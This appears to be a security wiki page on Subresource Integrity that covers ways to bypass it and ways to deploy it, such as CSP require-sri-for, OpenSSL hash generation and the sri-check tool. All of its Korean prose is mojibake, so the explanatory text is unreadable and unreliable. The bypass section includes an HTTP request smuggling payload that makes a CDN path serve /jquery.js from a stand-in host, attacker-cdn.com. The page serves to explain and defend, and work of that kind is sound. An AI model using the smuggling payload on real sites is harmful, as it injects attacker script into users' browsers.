๐ Introduction
SRI(Subresource Integrity)๋ JS,CSS ๋ฑ์ ๋ฆฌ์์ค์ ๋ฌด๊ฒฐ์ฑ์ ๊ฒ์ฌํ๋ ๋ฐฉ๋ฒ์ผ๋ก CDN๊ณผ ๊ฐ์ 3rd Party์์์ ๋ณด์ ์ฌ๊ณ ์ ์๋น์ค๋ฅผ ์งํค๊ธฐ ์ํ ๋ณด์ ๊ธฐ๋ฅ์ ๋๋ค.
SRI ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ์ ์ฌ์ฉ๋๋ ๊ฐ์ Base64๋ก ์ธ์ฝ๋ฉ๋ cryptographic hash๋ก 3rd Party์์ ๋ฆฌ์์ค์ ๋ฐ์ดํฐ์ ๋ํด hashํ ํ ์ด๋ฅผ ์ ๊ณตํ๊ณ , ์๋น์ค ํ์ด์ง์์ script, link ํ๊ทธ ๋ฑ์ผ๋ก SRI ์ฌ์ฉ ์ ๋ธ๋ผ์ฐ์ ๋ cryptographic hash ๊ฐ๊ณผ ์๋ณธ์ด ๋์ผํ์ง ์ฒดํฌํ์ฌ ๋ณ์กฐ ์ฌ๋ถ๋ฅผ ํ์ธํฉ๋๋ค.
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"
integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4="
crossorigin="anonymous">
</script>
๐ก Offensive techniques
Bypass SRI
Browser Vulnerability
SRI๊ฐ ์ ์ฉ๋ ํ๊ทธ์ ๊ฒฝ์ฐ 3rd Party๊ฐ ํดํน๋๋๋ผ๋ ์ ์์ ์ธ ์คํฌ๋ฆฝํธ๊ฐ ์๋น์ค ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ๋ก๋๋์ง ๋ชปํฉ๋๋ค. ์ด๋ฅผ ์ฐํํ๋ ๊ฒฝ์ฐ๋ Browser ์์ฒด์ ์ทจ์ฝ์ ์ด ๋๋ถ๋ถ์ ๋๋ค.
Dynamic SRI
ํธ์์ฑ์ ์ํด SRI ๊ฐ์ ๋์ ์ผ๋ก ํ ๋นํ๋ ๊ฒฝ์ฐ ์ฐํ์ ์ฌ์ง๊ฐ ์กด์ฌํฉ๋๋ค. ๊ณต๊ฒฉ์ ์ํด ๋ค๋ง 3rd Party์ ์๋น์ค์ ๋์์ ๊ณต๊ฒฉ์ด ์ผ์ด๋์ผ ํ๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์ ์ ์ฅ์์ ๊ณต๊ฒฉ ๋น์ฉ์ด ์กฐ๊ธ ๋์ต๋๋ค.
With HRS
HRS(HTTP Request Smuggling)์ ๊ธ๋ก๋ฒํ ์ฌ์ฉ์๋ฅผ ๋์์ผ๋กํ Desync attack์ด ๊ฐ๋ฅํฉ๋๋ค. ์ด๋ฌํ ๊ฒฝ์ฐ ์๋น์ค ๋๋ 3rd Party ๋๋ฉ์ธ์์ ์ฌ์ฉ์์๊ฒ ์ ๋ฌ๋ Response๋ฅผ ๊ด๋ฒ์ํ๊ฒ ์กฐ์ํ ์ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฌํ ์ทจ์ฝ์ ์ด ์๋น์ค์ ์กด์ฌํ๋ ๊ฒฝ์ฐ SRI๋ฅผ ๋ฌด๋ ฅํํ ์ ์์ต๋๋ค.
POST /dist/jquery.min.js HTTP/1.1
Host: cdn.vulnerable-website.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET /jquery.js HTTP/1.1
Host: attacker-cdn.com
HRS ๊ณต๊ฒฉ์ ๋ํ ์์ธํ ๋ด์ฉ์ Cullinan > HRS ๊ธ์ ์ฐธ๊ณ ํด์ฃผ์ธ์.
๐ก Defensive techniques
Using SRI
SRI ์ ์ฉ์ ์ํด์ 3rd Party ๋๋ฉ์ธ์์ CORS๋ฅผ ์ง์ํด์ผํฉ๋๋ค. ๊ทธ๋์ ๋ชจ๋ CDN ์๋น์ค์์ ์ฌ์ฉํ ์ ์๋ ๊ฒ์ ์๋๊ณ ํด๋น ์๋น์ค์์ ๊ธฐ๋ฅ์ ์ผ๋ก ์ ๊ณต๋์ด์ผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"
integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4="
crossorigin="anonymous">
</script>
jsdelivr, cdnjs ๋ฑ ๋ํ์ ์ธ CDN ์๋น์ค์์ File์ ๋ํ URL ๋๋ HTML์ ๋ณต์ฌํ ๋ SRI๋ฅผ ํฌํจํ์ฌ ๋ณต์ฌํ ์ ์๋๋ก ์ ๊ณตํ๊ณ ์์ต๋๋ค.
jsdelivr
cdnjs
With CSP
CSP์์ SRI ๊ฒ์ฌ๋ฅผ ์ฌ์ฉํ ํ์ผ ์ ํ์ ์ ํ ์ ์์ต๋๋ค.
// Only Style
Content-Security-Policy: require-sri-for style;
// Only Javascript
Content-Security-Policy: require-sri-for script;
// Both
Content-Security-Policy: require-sri-for script style;
Serve SRI hash
With OpenSSL
SRI๋ Hash ์ด๊ธฐ ๋๋ฌธ์ OpenSSL๋ก ์ฝ๊ฒ ์์ฑํ ์ ์์ต๋๋ค. sha384 ๋ฑ์ผ๋ก Hash ์์ฑ ํ Base64 ์ธ์ฝ๋ฉํ์ฌ ์ ๊ณตํ๋ฉด ๋ฉ๋๋ค.
cat yourapp.js | openssl dgst -sha384 -binary | openssl base64 -A
๋จ ๋ธ๋ผ์ฐ์ ์์ SRI ์ ์ฉ ์ ์๋ณธ ๊ฐ๊ณผ ๋ง๋์ง ์ฒดํฌํ๊ธฐ ์ํด ์๋ฒ์ ์ ๊ทผํ๊ณ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ์ ธ์์ผ ํ๊ณ , ๋น์ฐํ ๋ธ๋ผ์ฐ์ ์ SOP ์ ์ฑ ์ ์ํฅ์ ๋ฐ๊ธฐ ๋๋ฌธ์ CORS๋ฅผ ์ฌ์ฉํ๊ฒ ๋ฉ๋๋ค. ๊ทธ๋์ ์๋ฒ๋ SRI ์ ๊ณต์ ์ํด ACAO ํค๋๋ฅผ Wildcard๋ก ์ ๋ฌํด์ค์ผ ํฉ๋๋ค.
Access-Control-Allow-Origin: *
Wildcard ACAO์ ๋ํ ์์ธํ ๋ด์ฉ์ ์๋ ๊ธ์ ์ฐธ๊ณ ํด์ฃผ์ธ์.
https://www.hahwul.com/2019/04/10/why-failed-get-data-with-this-cors-policy/
With SRI Cheker
git clone https://github.com/4armed/sri-check
cd sri-check
pip3 install -r requirements.txt
./sri-check <URL> -g
e.g
Supportd CDN
์ด์ธ์๋ ๋ง์ CDN ์๋น์ค๋ค์ด SRI๋ฅผ ์ง์ํฉ๋๋ค.